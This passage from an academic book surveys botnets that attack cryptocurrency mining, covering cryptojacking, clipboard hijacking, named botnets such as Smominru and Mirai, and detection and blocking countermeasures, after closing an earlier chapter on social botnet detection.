Internet-of-thing (IoT) devices. The Mirai botnet exploded in 2016 was able to
take down a large number of IoT devices [57]. We are also looking into the
specific mobile botnet and IoT botnet. The challenge toward that research
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direction also lies in the available dataset. We have found some source code and
binaries of such botnet. In future, we will collect enough data, verify them, and
share to the public. We will analyze the specific challenges of detecting such
botnet and how they are able to successfully avoid the anti-detection mechanisms.

10.8 Conclusion
In this work, we first provide the empirical analysis of social botnet and hope to
unveil their evasion mechanisms against existing detection methods. In the process,
we collect the source code, builders, and execution traces of six social botnets and
share to the research community. Later, motivated by the insights of the evasion
mechanisms, we identify nine new features. Combining with other nine conven-
tional features, we design a new social botnet detection method with the RF
machine learning method. We evaluate our method as well as three state-of-the-art
works on our newly collected social botnet traces. The experiment results show that
our method is able to significantly outperform the related works. In particular, we
are able to achieve 0.999 accuracy and 0.992 F-measure, much higher than the best
of the related works, which only gets 0.863 accuracy and 0.503 F-measure value.
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11.1 Introduction
Botnets, hackers, and computer malware are some of the symptoms resulting from the
vulnerabilities of software, systems, and networks. Together, these and other forms of
algorithmic nuisance present challenges concerning the integrity of user data, privacy,
and fraud. The devices that we use are becoming increasingly sentient and are finding
their way into our lives in smart ways through smart phones, wearables, smart cars,
smart home appliances, and smart work environments. Consequently, these Internet of
Things (IoT) devices have also been confronted with the challenges posed by malware.
It might not be long before robots have their own social media accounts, the smart
fridge posts its contents online and a human and a bot meet for coffee and embark on
a sightseeing tour of a new town in a self-driving vehicle. Our current networks are
rapidly turning into massive online networks inhabited by human users, software,
firmware, and software bots. But how well are our existing systems able to scale up to
the challenges and opportunities presented by such massive online networks?

While user privacy and data fraud are well-known consequences of malware, the
ramifications of malware infections extend widely. This chapter explores the threats
that malware, specifically, botnets pose to the mining of cryptocurrencies. The reader
will be introduced to the history of botnet-inspired threats, operational mechanisms
of botnets, and an in-depth look at significant botnets that have attacked cryptocur-
rencies. Botnets pose distinct security challenges to cryptocurrencies (such as currency
theft and clipboard hijacking), by targeting their command and control (C&C)
communications framework, destabilizing their consensus protocols and attempting
to sway the decentralized architecture in favor of mining pools that employ higher
amounts of processing power, use of forks and attacks on cryptocurrency exchanges
[1,2]. This chapter also looks at countermeasures in terms of detection, prevention,
and thwarting. Finally, the chapter presents implications for growing cryptocurrency
usage and therefore, increasing exposure to various security threats, both organized
and unintentional, on botnet black markets, IoT devices and from unsuspecting
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users. Cryptocurrencies face significant challenges to widespread adoption. One of
these challenges is that the mining for cryptocurrencies is computationally expensive.
A comparison of the energy consumption index for Bitcoin and Ethereum presents
interesting statistics [3]. The estimated annual global mining costs of Bitcoin are 90%
of its global mining revenues, with a single transaction taking up 467 KWh. In
contrast, the mining costs equal the mining revenue for Ethereum, where a single
transaction consumes 46 KWh. To put this in perspective, 100,000 Visa transactions
can be performed in the same amount of power that is used to perform a single
Bitcoin transaction. Still, the appeal of cryptocurrencies is rising steadily. This is due
to several factors. The distributed nature of currency generation ensures that anyone
in possession of a computer with modest processing power is potentially able to mine
for coins. The anonymity promised by currencies such as Monero (XMR) is
especially valuable to entities operating in the cybercriminal underground, or the
dark market. The low barrier to entry is rendered even more appealing by the rise of
cryptojacking software, which uses browser-based mining software, some of which is
potentially capable of launching malware attacks of greater complexity, such as
DDoS attacks and password cracking.

The rest of this chapter is organized as follows. Section 11.2 describes a general
overview of the consensus operation in cryptomining and describe how threats to the
consensus mechanisms could affect the cryptocurrency mining process. Section 11.3
presents information about prominent cryptomining botnets, and Section 11.4
presents countermeasures. Finally, Section 11.5 provides future directions and
concludes the chapter.

11.2 Overview of the Consensus Operation in
Cryptomining

This section presents an overview of the consensus mechanism in cryptomining and
significant threats posed by botnets to the consensus mechanism. From the initial
days of using botnets on Internet Relay Chat (IRC) forum channels to their most
popular use for spam distribution, botnets have been used for distributed malware
propagation. The distributed nature of botnets has found usage in cryptocurrency
mining, since both botnet operation and cryptocurrency mining depend on anon-
ymous, distributed transactions. Anonymity is further emphasized in cryptocurrency
frameworks where each node is identifiable only by its IP address. This is in contrast
to the framework in fiat currencies, where transactions are required to be account-
centric and identifiable for traceability and fraud management.

The initial popular use of botnets for spam production began to wane around
the year 2013 due to several factors including better email filters, takedown of spam
botnets, and legal and regulatory protections. Around this time, botnets were then
predicted to be increasingly used in cryptocurrency mining aided by the anonymity
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offered by darknets [4,5]. This prediction has come true, as recent research shows
that botnets used in cryptocurrency mining and crypto-based ransomware [6]
outrank other botnet-based malware applications. Crypto-based ransomware
encrypts a user’s files and holds it encrypted until the user pays a ransom. The 2019
Internet Security Threat Report [7] presents, among other malware, statistics on
ransomware. This report showed that enterprise ransomware had increased by 12%
and mobile ransomware attacks were up by 33%. A notable ransomware attack was
the Wannacry ransomware cryptoworm in May 2017 that exploited EternalBlue, an
exploit developed by the NSA for older, unpatched Windows systems. The Wanna-
cry ransomware was the most widespread encryptor of 2017, and took on the
dubious distinction of the Kaspersky lab’s “Story of the Year” [8]. Other notable
examples of ransomware are CryptoLocker, SamSam, and Petya, which have targeted
web servers [7], operating system kernel files, and enterprise software.

The costs of cryptomining are related to the work done in solving cryptographic
puzzles. Cryptocurrencies are validated by the consensus protocol, where other
nodes on the network perform the proof-of-work to solve a cryptographic puzzle.
Traditionally, the computational power required to mine these cryptocurrencies has
been harnessed from mining-specific hardware, such as ASIC or GPU processors.
ArtForz [9] first appeared as a pseudonym in Bitcoin mining forums around 2010
where he was among the first few developers to mine Bitcoin with his private code.
Using a network of 24 Radeon 5970s, dubbed the farm, ArtForz was purported to
control a quarter of the mining power at that time, while having mined approxi-
mately 4% of the bitcoins available. He also used FPGAs and ASICs, much before
ASICs for dedicated mining operations were commercially available. However,
a new breed of computationally less-intensive mining exists, where the mining is
performed through in-browser files that execute the mining code. In-browser
mining of cryptocurrencies will be explained in detail in Section 11.2.2.

Work on the disruption of the consensus protocol was described in [10]. Such
an attack, termed the Goldfinger attack was studied, where the disruption of the
consensus protocol was motivated not only by the financial utility of the players
but also by their desire to introduce a hostile takeover through resource mis-
appropriation such as significant computational power or storage space. Another
type of attack, called the “eclipse attack,” was studied in [11] on nodes with
public IP addresses. A fundamental assumption in blockchain is that of perfect
information, where each node can observe the proof-of-work done by peer nodes.
An eclipse attack impacts this assumption of perfect information by empowering
an attack on all the ingoing and outgoing connections of a node to its peers.
Thus, it effectively isolates a node, thereby influencing its view of the proof-of-
work done by its peer nodes and subsequently the consensus protocol, which
enables transactions to be marked as verified and stored on the blockchain. The
study focused on attacks originating from infrastructure (ISP, enterprise, and
similar domains with contiguous IP address blocks), as well as attacks from
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botnets that contain IP addresses from diverse blocks. They showed that their
experimental botnet eclipse attacks were more efficient than infrastructure-based
attacks, since an attacker needed far fewer nodes in botnets (approximately
a tenth of the number of infrastructure-based attacks) to eclipse a target victim.

11.2.1 Browser Evolution and Adaptability for
Cryptomining

Since cryptomining code runs in the browser, a brief step back into browser evolution
and its current capabilities is in order. This section presents an overview of browser
capabilities that can be harnessed for botnet-based attacks, ranging from the more
popular attacks such as cryptojacking to others such as clipboard hijacking.

11.2.1.1 HTML, CSS, JavaScript, HTML5

The first version of HTML was developed by Tim Berners-Lee in 1993. Since
then, HTML has evolved from being a simple mark-up language containing only
18 elements in its first version to becoming the foundation on which cores, apps,
scripts, and frameworks are built. The introduction of JavaScript, a scripting
language for application programming on the Web developed by Brendan Eich in
the mid-1990s, created an avenue for developing interactive web pages. Together
with HTML and CSS, JavaScript has emerged as a core technology for web
development that could be used on server and client machines. HTML has since
undergone substantial revisions. Aided by the Internet Engineering Task Force
(IETF) and World Wide Web Consortium (W3C) standards, HTML is currently
in its 5th version. HTML5, released in 2014, allows for application programming
interface (API) support and allows for cross-platform mobile applications. Java-
Script also provides support for web workers that allows scripts to run in threads
in the background without affecting webpage performance.

11.2.1.2 Cross Origin Resource Sharing (CORS)

One of the tools in HTML5 and JavaScript that supports interoperability
between domains and enables API support is the Cross-Origin Resource Sharing
(CORS) feature. CORS allows websites on different domains to share data and
enables communication between servers and client browsers for data requests.
CORS allows for mechanisms to override the same-origin policy, thus enabling
web browser scripts from one page to offer access to data from another page even
if they do not have the same origin. (Origin is defined as a combination of URI
scheme, port number, and host name.) Same origin policy was also one of the
limitations of JavaScript Web workers, however, CORS has offered an ingenious
work-around to the problem of same-origin policy. CORS and Web Workers
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together allow for cross-domain workers through the creation of intermediate
pseudo-JavaScript formats called blobs. A detailed description of web worker
operation is found on the Mozilla Developers Network (MDN) documentation
website. The capabilities of background operation without interrupting website
performance offered by web workers, cross-domain data sharing, and the ability to
work with APIs have provided a fertile landscape for distributed cryptomining
operations. Users who visit a site, knowingly or unknowingly, perform the proof-of
-work operations required for mining cryptocurrencies over the duration that the
page is loaded in the browser. Stealthy tactics, such as pop-unders, which open
additional browser windows that hide under the Windows taskbar behind the clock
are not easily detected. These pop-under windows have the potential to stay open
indefinitely, while also using up CPU cycles for mining cryptocurrencies. Some of
the pop-under windows persist beyond clicks on the X icon to exit the browser,
leaving the only recourse for exit to the Task Manager. More evasive cryptomining
botnet code has been developed with advanced anti-detection techniques, where the
mining operations are file-less (running as native applications, not injected code),
and are able to kill other cryptomining processes found on the system [12].

Other features of modern web technology have aided the rapid spread of
cryptomining capabilities. WebAssembly, abbreviated as WASM, is one such stan-
dard developed by the W3C group. The modern web platform can be thought of as
having two parts: the virtual machine (VM) and the API collection. The VM runs
the code of the web application and the API collection offers tools to control webpage
functionality. Traditionally, the VM has only been able to load JavaScript code,
however, WebAssembly offers a way to run application code from any language on
the web browser through a compact binary format. The advantages it offers are
numerous: speed of running native apps, improved performance, portability, and
interoperability. Although WebAssembly enforces same-origin policies, CORS and
web workers in conjunction with WebAssembly have created a versatile platform for
cryptomining operations. This platform leverages the power of distributed comput-
ing using the browser. A detailed analysis of web workers is provided in [13], where
the authors develop cost models for various kinds of web worker attacks, including
cloud-based attacks and botnet-attacks. The applications of web workers studied in
[13] include browser-based password cracking, and cryptocurrency mining, and
DDoS attacks. Web sockets, another feature of modern browser technology, offer
full duplex communication between the browser and server on TCP. Web sockets
also allow browsers to facilitate secure data exchange without having to poll the
servers for responses. Figure 11.1 depicts the significant aspects of contemporary web
development frameworks that support cryptomining, and are being utilized for
botnet-enabled threats to cryptocurrency mining.

The concurrency afforded by web workers, and the convenience of browser
plugins like TamperMonkey install scripts that allow web content to be modified
on the fly have created an environment that is conducive to browser-based
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distributed mining of the likes of Monero. Created in 2014, Monero is an open-
source cryptocurrency that uses an obfuscated public ledger that blocks the
source, destination, and amount of the transactions. This untraceability afforded
by Monero, as opposed to the transparency offered by Bitcoin, has been one of
the key factors in its popularity. As of early 2019, Monero is the ninth largest
cryptocurrency based on market capitalization.

11.2.2 Cryptojacking
In cryptojacking, also referred to as drive-by mining, in-browser mining execu-
table files run, usually without the consent of the client machine and the
corresponding payoff is delivered to the website. These executables are generally
JavaScript files or WebAssembly modules that infect web servers and are enabled
by third-party libraries, browser misconfigurations, or advertisements [14]. In
doing so, the computational resources of the user machine running the browser
are leveraged when the user visits the website, and has the ability to render such
client machines into bots for a botnet.

C&C architectures are the backbone of these botnet operations. Aided by the
IRC protocol, a C&C server sends commands to malware-infected machines,
which are then capable of launching DDoS attacks, data manipulation, and
malware propagation. The IRC protocol is a text-based protocol that allows clients
in various topology configurations to connect to a server over communication

Figure 11.1 Affordances of contemporary web development frameworks that
support cryptomining.
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channels. Botnets can also use the HTTP protocol [15] as a means for C&C
communication. In [16], the authors describe two frameworks of C&C commu-
nications. The push framework contains bots that wait for commands from the
C&C server, i.e., the server pushes the commands to bots in real time. IRC-based
bots fall into the push category. The pull framework consists of servers that store
commands in a file, and bots check back at later times to retrieve and execute the
commands, i.e., the bots pull the commands from a file stored in the C&C server.
Most HTTP-based bots fall into this category of botnets that do not adhere to real-
time botmaster control.

Coinhive was one of the first platforms to offer browser-based cryptomining.
The work in [17] details the cryptojacking activities powered by Coinhive [18],
a legitimate framework for browser-based mining that provides developers with
APIs and is geared toward optimized performance by browser-based mining.
Browser-based cryptomining is in contrast to GPU or ASIC-based mining, which
are able to use more computationally intensive resources for completing the
proof-of-work component of mining cryptocurrencies. The cryptomining opera-
tion in Coinhive enables the creation of unique IDs called “site keys” in
Coinhive. These site keys map to miners and are therefore used to link rewards
for the mining operation. Multiple site keys can map to the same wallet [19];
thus botmasters are able to leverage the computational power of multiple browser
sessions across distributed IP addresses to mine for rewards.

Cryptojacking raises several issues related to the abuse of user consent,
compromise of user machines by transforming them into bots, and profit
models of complicit websites hosting the JavaScript executables that run mining
scripts. Additional issues include breach of the existing browser, network, and
cloud configurations, as well as the ubiquitous problem of botnet-powered pay-
load and loot. To mitigate the problem of user consent for in-browser mining,
Coinhive launched AuthedMine, which asks for user consent prior to using the
computational hashing power of the user’s machine. Coinhive receives 30% of all
Monero currency that is mined, with the other 70% sent to the cryptocurrency
wallet that is associated with the mining account. These payments are made even
if the mining is carried out without the user’s consent. Thus, even though
Coinhive is a legitimate distributed mining utility providing a valid source of
revenue in lieu of ads on webpages, it often surfaces on hacked websites.
A do-not-mind HTTP header has also been proposed but has not been widely
adopted due to lack of mandatory rules on enforcement.

Coinhive targeted Monero, a cryptocurrency that enjoys popularity on dark-
web markets and is typically used to trade with alternative cryptocurrencies (e.g.,
exchanging Monero with Bitcoin). The payoff of cryptojacking with Coinhive is
divided between the developer and the website. Monero uses the CryptoNight
and the CryptoNote algorithms [20]. CryptoNight was developed to be compatible
with the computational resources of CPUs, as opposed to the computationally
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intensive, mining-friendly ASICs. CryptoNote, used in Monero and ByteCoin,
offers the added advantage of anonymity due to ring signatures, an algorithm that
prevents accurate pinpointing of the details of a transaction, while only allowing
transactions to be traced to a group.

Although browser-based cryptomining is less computationally intensive than
GPU or ASIC-based mining, it still has the potential to consume higher than
usual amount of resources. This tendency to use more resources also lends itself to
detection of cryptomining activity. Due to the increased usage of computational
resources by drive-by mining software, it is possible to build a profile of resource
consumption that can lend itself to predictive modeling for future attacks. How-
ever, Coinhive and similar other miners have now evolved to a point where they
are able to restrict CPU usage, so as to avoid triggering alarms about possible
mining activities based solely on pattern matching algorithms.

A summary of the operational details of bitcoin-mining bots is presented in
[21]. Three categories of mining activity are summarized: direct mining, proxied
mining, and dark-pool mining. In direct mining, a botmaster distributes the
mining executable inside a wrapper script that contains the specified parameters
to be mined. This executable is made available as trojans inside external applica-
tions, which are deployed with the botmasters credentials. Thus, a large number
of bots in the botnet are mining and delivering the cryptocurrencies directly to
the botmasters account. Proxied mining, on the other hand, uses a proxy server
deployed by the botmaster. The proxy serves to hide the addresses of all the bots
and appears as a single powerful miner. It also requires the additional costs of
installing and maintaining the proxy server. In dark pool mining, the botmaster
maintains a mining pool that participates in the mining of bitcoins on the Bitcoin
peer-peer network.

Further analysis of the operational costs and revenues of botnet-powered
mining activities is presented in [21]. The life cycle of a botnet, with an emphasis
on the economic impact of botnets, is presented in [22]. Profit analysis of
cryptomining is also presented in [14]. Cryptomining by IoT devices has been
studied in [23] and [24]. In [23], the authors posit that botnets of thousands of
smaller IoT processors could be instrumental in mining altcoins, where the
hashing power required to mine a block is not computationally expensive. Thus,
IoT devices could be used not just to mine alternative cryptocurrencies, but also
for creating platforms for launching DDoS attacks, distributing spam, and
stealing credentials. The work in [25] details the use of IoT devices in enabling
and propagating a DDoS attack using the Mirai malware. Studies on the profit-
ability of cryptojacking versus ad impressions from a publisher’s perspective have
been performed in [26], where the authors determined statistics on the criteria for
profitable cryptojacking, the impact of in-browser mining on the energy con-
sumption and computational resource consumption, as well as revenue generation
for the publisher.
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A recent study has shown how remote frameworks with C&C architectures
can be used in cryptomining. In [27], the authors present MarioNet,
a framework with a remote C&C environment for browsers and using them to
engage in activities such as cryptomining, DDoS, and password mining. Mari-
oNet is configured to withstand tab crashes and browser shutdowns, while being
robust across different browser platforms. The authors present three properties
for robust operation: isolation (independent from the browsing session thread
for optimal performance), persistence (ability to control browser for longer than
a short browser session), and evasiveness (ability to execute cryptomining in
stealth).

In addition to cryptomining using browsers and IoT devices, cryptomining software
has been found in the form of apps distributed through the Google Play store for
mining litecoin, dogecoin, and casino coin. Work in [28] presents a detailed analysis of
building botnets using free cloud-based services by abusing the development-
environment-as-a-service paradigm. A first step toward using these services to create
bots is by generating scripts to enable automatic registration. The resulting botnet can
be shown to enable DDoS attacks, distributed password attacks, and network scans, as
well as cryptocurrency mining. Referring fake friends lets the botnet amass unlimited
storage space. The next section presents specific attacks posed by cryptocurrency-
mining botnets.

11.2.3 Cryptocurrency Theft, Clipboard Hijacking, and
Other Attacks

In addition to cryptojacking, other botnet-based cryptocurrency attacks have been
noticed. In 2014, the Pony botnet software [29] was linked to the theft of more than
$200,000 in cryptocurrency wallets of about 30 different currencies such as bitcoin,
dogecoin, and litecoin. The Pony software was activated by clicks on suspicious links
or spam software that was hidden inside executable files. Once activated, it avoided
detection by antivirus software and was able to access the wallet.dat files on users’
computers. Another attack related to cryptocurrency theft is clipboard hijacking [30].
Clipboard hijacking exploits the fact the long cryptocurrency wallet addresses made
up of alphanumeric characters are difficult to remember. Users copy and paste this
information on a clipboard. The ComboJack malware [31], which gets installed by
clicking on an infected attachment, scans the clipboard every half second and scans it
for wallet addresses. Once a wallet address is detected, ComboJack replaces it with
a hard-coded wallet address belonging to the attacker. The unsuspecting user, in the
meanwhile, returns to the clipboard and pastes the address inserted in the clipboard
by ComboJack. A Kaspersky Lab report showed that attackers stole roughly $10M
worth of Ethereum using social engineering tricks such as fake websites and phishing
emails.
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Attacks on cryptocurrencies have also exploited vulnerabilities in the under-
lying structure of the Internet. An analysis of bitcoin attacks using the routing
architecture of the Internet was presented in [32]. These routing attacks
involved the BGP routing protocol, which is used to store and broadcast
route information between neighbor networks. Since BGP does not check for
the validity of broadcasted route announcements, it was exploited to inject
fraudulent route information from an autonomous system (AS) to intercept
and send traffic to the wrong destination. This kind of attack is called “BGP
hijacking,” and was shown to enable node and network-wide attacks by
isolating portions of the network (partitioning attack). BGP hijacking was
also able to slow traffic and thereby propagation of blocks in the bitcoin
protocol toward other nodes (delay attack). BGP hijacks are prevalent in
network traffic resulting in thousands of attacks every month, and specifically
causing up to hundreds of events every month. However, since cryptocurren-
cies use a consensus mechanism to approve transactions and encode blocks,
attacks such as the BGP attack have a particularly strong impact on crypto-
currency mining.

11.3 Prominent Cryptomining Botnets
This section presents a list of several botnets that were chosen for their technical
complexity, diversity, and impact. Additionally, botnets targeting websites, mobile
devices, and IoTs are also profiled.

11.3.1 ZeroAccess Botnet
The ZeroAccess botnet that first appeared in 2011 is the largest known botnet that
uses P2P mechanisms for communication. Although initially used to download
a payload for bitcoin mining, the newer version uses ZeroAccess for click fraud.
The distributed P2P C&C architecture creates redundancy; however, it also ensures
that there is no central C&C mechanism that can be taken down to shut down
botnet operations. Although many variants of ZeroAccess exist, the most prevalent
version is the Type II version that uses UDP to load malware payload modules on the
user’s computer. The malware is able to distinguish between 32-bit and 64-bit
computers, and earlier versions were able to download both the bitcoin mining
module and the click fraud module. The bitcoin mining module has been phased out
in favor of the greater revenue generated by the click fraud module that generates
artificial clicks for advertisements and makes these clicks appear as if they are
legitimate clicks. The bitcoin mining module of ZeroAccess, titled Network #1, has
a file that links to a Upfinex (UPX) decentralized exchange and wallet platform, while
also generating signatures for authenticity. In test computers, it was observed that the
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profitability increased exponentially when the bitcoin mining operation was con-
ducted on a network of infected computers instead of on a single computer. The test
operation revealed that, at the Bitcoin USD rate of 131, the potential benefits of
bitcoin mining using ZeroAccess were less than 50 cents a day for one computer,
versus thousands of dollars a day for a botnet. In contrast, the click fraud operation of
ZeroAccess was more profitable, resulting in potentially tens of millions of dollars
a year.

11.3.2 Smominru Botnet
In early 2017, a group of hackers called the “Shadow Brokers” released a gigabyte
worth of software exploits developed by the NSA. One of those exploits was
Eternal Blue, which targeted vulnerabilities in the Windows servers, specifically
the Server Message Block (SMB) protocol, a network file sharing protocol. With
a worm-like ability, infected machines were capable of exploiting the vulnerabil-
ities in other connected Windows machines, leading to rapid infection. The
Smominru botnet, powered by the Eternal Blue exploit, turned infected machines
mostly Windows servers into cryptominers [33]. At its peak, the Smominru
botnet had infected 526,000 machines and had generated roughly $2.3 million
in cryptomining revenue. The Eternal-Blue exploit was also leveraged in Wanna-
Mine, launched by clicking on a fraudulent link [34]. WannaMine used
a credential harvester called “Mimikatz,” which if unsuccessful resulted in the
use of EternalBlue. Although it uses EternalBlue, WannaMine connects to
a different mining pool with different servers and is file-less, making detection
by antivirus harder. Similar rapidly spreading botnets include Dofoil [35],
a cryptomining application for mining Electroneum, where the botnet spread to
half a million computers in less than 24 hours. Dofoil used a combination of
spawned processes, thereby tricking the process manager into believing that the
original process was running (process hollowing). This resulted in modification of
the Windows registry and connection to a remote C&C architecture. Dofoil was
then able to infect a large number of computers while being able to resist
detection.

11.3.3 Adylkuzz
Another widely spread malware using Eternal Blue is the DoublePulsar malware
that provides a covert channel through which kernel code can be executed for
a variety of applications. The Adylkuzz mining botnet uses both EternalBlue and
DoublePulsar by determining the public IP address, cryptomining instructions for
Monero, and clean up tools. Infection by Adylkuzz had an interesting side effect:
Adylkuzz worked as a backdoor and closed the doors behind it to prevent further
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exploitation of the SMB vulnerability. Thus, machines infected with Adylkuzz
were protected from Wannacry, a bitcoin ransomware cryptoworm that also
leveraged the Eternal Blue vulnerability. Unlike Wannacry that was linked to
three hardcoded bitcoin wallets, Adylkuzz created numerous wallets over time
that resulted in small amounts of revenue [36].

11.3.4 Botnets Targeting Mobile Apps

Although mobile devices do not traditionally possess the computational resources
required for cryptomining and thereby result in insignificant revenues, crypto-
mining software has made its way to mobile apps [37]. Examples include Google
Play apps such as Recitiamo Santo Rosario Free (designed to help users pray the
rosary), SafetyNet Wireless App (designed to produce discounts) and in repack-
aged versions of popular apps such as Football Manager Handheld (an app for
European soccer club player management) and TuneIn Radio (an app for free
Internet radio), Songs and Prized. The mode of operation is to use software such
as Androidos CPU Miner (Songs, Prized, Football Manger Handheld, Tune In
Radio) and Androidos JS Miner (Recitiamo Santo Rosario Free, SafetyNet
Wireless). In the JS Miner software, the apps load the JavaScript library from
Coinhive, whereas with the CPU Miner software, the apps are repackaged
versions of legitimate apps that are infected with CPU mining code. Another
significant cryptomining operation that had not been distributed via Google Play
but discovered by Kaspersky Labs researchers is Loapi [38], which downloads
a Monero cryptocurrency miner that overheats the phone components and
destroys the phone. Dubbed as a jack-of-all-trades for its ability to perform
cryptomining, launching DDoS attacks, inject ads, and ability to hide under the
logos of antivirus solutions and porn sites, Loapi is capable of boosting ratings for
ads, directing SMS messages, and subscribing users to paid services. Other
seemingly innocuous apps discovered on Google Play include wallpaper apps
that contained BadLepricon, a bitcoin mining malware, which was used to mine
dogecoin and litecoin, with careful consideration on throttling resource usage
[39]. These apps used a Stratum proxy to control which nodes were used for
mining, where the coins were delivered, and was designed to run when the
display was turned off and the battery level was above 50%.

11.3.5 Botnets Targeting Websites

Cryptomining software has been found on a variety of sites including WordPress
[40], CBSs Showtime [41], live chat and help widget [42], government websites
[43], and BitTorrent distribution sites [44]. Mining software was discovered in
the public WiFi offered by Starbucks at a Buenos Aires location, where users were
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given a ten-second delay on connection, during which time the computers were
mining Monero [45]. Monero mining software has also been found on the
desktop version of Facebook Messenger [46]. Potential mining activity has been
found in gaming software distributed through Steam, an online gaming distribu-
tion portal [47], and in gaming software updates [48]. Vulnerabilities in the
Drupal Content Management System (CMS) that powers millions of websites
were exploited for mining Monero in what came to be known as Drupalgeddon
2, where public servers were forced to download and mine cryptocurrencies [49].
Botnets have also been found disguised behind reverse proxy networks, where
users were able to connect to servers behind firewalls, or those without public IP
addresses [50]. However, not all mining software is distributed through covert
channels. XMRig, a high-performance miner advertised with official Windows
support is freely available for both the ASIC and GPU operations. XMRig is
designed to mine Monero and avoids detection by shutting down as soon as Task
Manager is opened. Modified versions of XMRig are available, including Water-
Miner, which was discovered in a repackaged version of Grand Theft Auto mods,
a popular video game utility. WaterMiner was designed to cease mining during
computer scans and debug operations, resulting in high usage of gamers proces-
sing powers for cryptomining activities [51].

11.3.6 Botnets Targeting IoTs
Botnets have also made their way to IoT devices. The Mirai botnet [52] targeted
insecure IoT devices, while avoiding device addresses linking to GE, HP, or the
US DoD. It scanned the Internet for big blocks of open Telnet ports and used
default user ID/password combinations to gain control of closed-circuit TVs,
DVRs, and routers in one of the biggest IoT-powered attacks. Although initially
Mirai was used to launch DDoS attacks, recent variants of Mirai include bitcoin
mining modules [53]. A range of solutions for botnets targeting IoTs has been
studied. In [54], the authors present strategies focused on intrusion detection
systems (IDSs). Given the geographically distributed natures of IoT devices, the
authors study placement of IDSs in three architectures: distributed, centralized or
hybrid. In the distributed architecture, IDSs are placed in every physical object,
compared to the centralized architecture, where an IDS is placed in a centralized
location such as the border router or a dedicated host. Several hybrid approaches
have been surveyed, such as the use of clusters and building a backbone of
monitor nodes. The IDS operation for detecting botnets has been surveyed in
four categories: signature-based detection, anomaly-based, specification-based,
and hybrid. The authors also study the security threats faced by IoTs, in
particular, routing attacks, Dos attacks, and man-in-the-middle attacks. Anomaly-
based botnet detection techniques have also been studied in [55]. Here, the
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authors proposed unsupervised learning models with reduced feature-set sizes
with the aim of decreasing computational resources. Neural-network-based
approaches have also been studied in [56], where the authors propose a dense
random neural network architecture for detection of DoS attacks as well as
denial-of-sleep attacks. Empirical results from packet-capture software have
shown that the proposed neural network architecture is effective in detecting
ongoing attacks against IoT gateways. Work in [57] describes the use of
autoencoders as fully automated standalone encoders in detecting botnet malware.
The authors propose the use of an autoencoder for each IoT device, where the
autoencoder is trained on the benign traffic data at the device. An autoencoder is
a neural network that can reconstruct its input after compression. Failure to
reconstruct the input is considered a failure, and therefore, is an anomaly in this
model. Anomaly models are built for each device separately. Empirical data
evaluated from using autoencoders against the Mirai and Bashlite botnet malware
in this work has shown promising experimental results, including high probability
of attack detection, lower false alarm rate, and low detection time.

Although the bulk of this chapter focuses on botnets targeting cryptocurren-
cies, these attacks may be carried over into other domains, such as health and
medicine, finance, and education. A recent study offers a look at two crucial
sectors in infrastructure that might be easily targeted through open-source
intelligence: water and the energy sectors [58]. In this detailed report, the authors
name several attacks aimed at modifying the amount of chemicals added to water
treatment plants, dam control, power grids, and other water and energy indus-
tries, which were carried out by cybercriminals.

11.4 Countermeasures for Cryptomining Botnets
This section will focus on countermeasures for cryptocurrency mining botnets.
Proactive and reactive countermeasures for botnet operation will be examined.
These countermeasures will be examined categorically along the lines of proof-of-
concept approaches, experimental approaches, and viable protocols that have
already been deployed as countermeasures. The countermeasures described in
these sections fall into four categories: profiling, secure web development frame-
works, software engineering, and social frameworks, as shown in Figure 11.2.

11.4.1 Profiling

This category of countermeasures falls along the lines of signature-based detec-
tion. Cryptomining software exhibits certain characteristics that impact the client
machine’s hardware. Together, the software and hardware impacts are used to
develop software profiling and hardware profiling countermeasures.
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11.4.1.1 Software Profiling

Unusually high CPU usage and the presence of traditional mining software (WebAs-
sembly, WebWorkers) have been shown to be effective in the detection of cryptomin-
ing software on websites. In [59], the authors propose a semantic inline script monitor
called “SEISMIC (SEcure In-lined Script Monitors for Interrupting Cryptojacks)” that
detects incoming WASM binary programs, changes their profile during execution and
warns the user about cryptomining software in the website. The user is then given the
option to opt out (halt the script) or opt in (continue mining). The use of free cloud
services to create botnets can be mitigated by enabling multiple authentication
mechanisms such as the use of an email address, CAPTCHAs including puzzles,
phone/SMS, and credit card details. Other proposed countermeasures include analyz-
ing Sybil accounts, creation rate of new accounts, and flagging of accounts with new
domain names.

Software profiling by analyzing code is another countermeasure for detecting
botnet activity intended for targeting cryptocurrencies. In [14], the authors propose
MineSweeper, a range of techniques that target cryptomining activity that has been
obfuscated in varying levels of severity. MineSweeper employs algorithms that look
for core cryptographic operations (shift, XOR, rotate), bytecode of specific hashing
algorithm primitives, and CPU cache usage.

11.4.1.2 Hardware Profiling

Hardware profiling, by evaluating microarchitectural execution patterns, has been
proposed in [60] as a countermeasure for detecting cryptomining. Based on the
premise that mining and non-mining application produce differing CPU/GPU
signatures, the authors propose MineGuard for detecting mining activity on cloud/

Figure 11.2 Categories of countermeasures for botnet-enabled cryptomining.
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enterprise platforms. In [61], the authors use a network theory approach for bot
detection on the Ethereum network. Based on the premise that the duration between
transactions on a network follows the power law distribution (as observed in
networks with human agents), any nonhuman activity, for example, bot activity
should be detectable based on the deviation from the power law distribution.

11.4.2 Secure Web Development Frameworks

Existing flaws and loopholes in web development frameworks have led to
exploitation by malware. This category of countermeasures proposes the use of
whitelists/blacklists, adstripping and blocking in existing browsers, and develop-
ment of new browsers and profitability models. The use of headers such as the
Content Security Policy (CSP) header is another proposed mechanism that blocks
cross-site scripting attacks.

11.4.2.1 Blacklists and Whitelists

In March 2018, the US Department of Treasury’s Office of Foreign Asset Control
(OFAC) published new guidelines about virtual currency compliance obligations.
The OFAC has maintained a list of Specially Designated Nationals and Blocked
Persons List (SDN). This list contains a list of individuals and organizations that
participate in illegal activities, and with whom US persons are prohibited from
conducting transactions. The OFAC announcement from March 2018 now allows
the addition of individuals and entities associated with digital currency identifiers to
the SDN list. Individual users can use browser extensions such as No Coin, which
works with Chrome, Firefox, and Opera browsers to block Coinhive and similar
cyrptojacking software in websites. It also gives users options to whitelist a particular
miner and allow it to run.

MinerBlock is another Chrome extension that uses a two-pronged approach to
blocking mining scripts. It works by using the traditional approach of blocking
mining software associated with blacklists and is also capable of detecting
potential mining behavior inside loaded scripts and killing them immediately.
CoinBlockerLists maintains a frequently updated list of websites associated with
cryptomining, and offers this list in various formats for integration with existing
website anti-mining solutions.

11.4.2.2 Adstripping Browsers and Blocking Mechanisms

Ads have emerged as a popular way to distribute cryptomining software and have
been found in Googles DoubleClick ads and YouTube ads. The introduction of
cryptojacking software, first popularized by Coinhive has made it possible for
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publishers and advertisers to make for the shortfall in advertising revenue by using
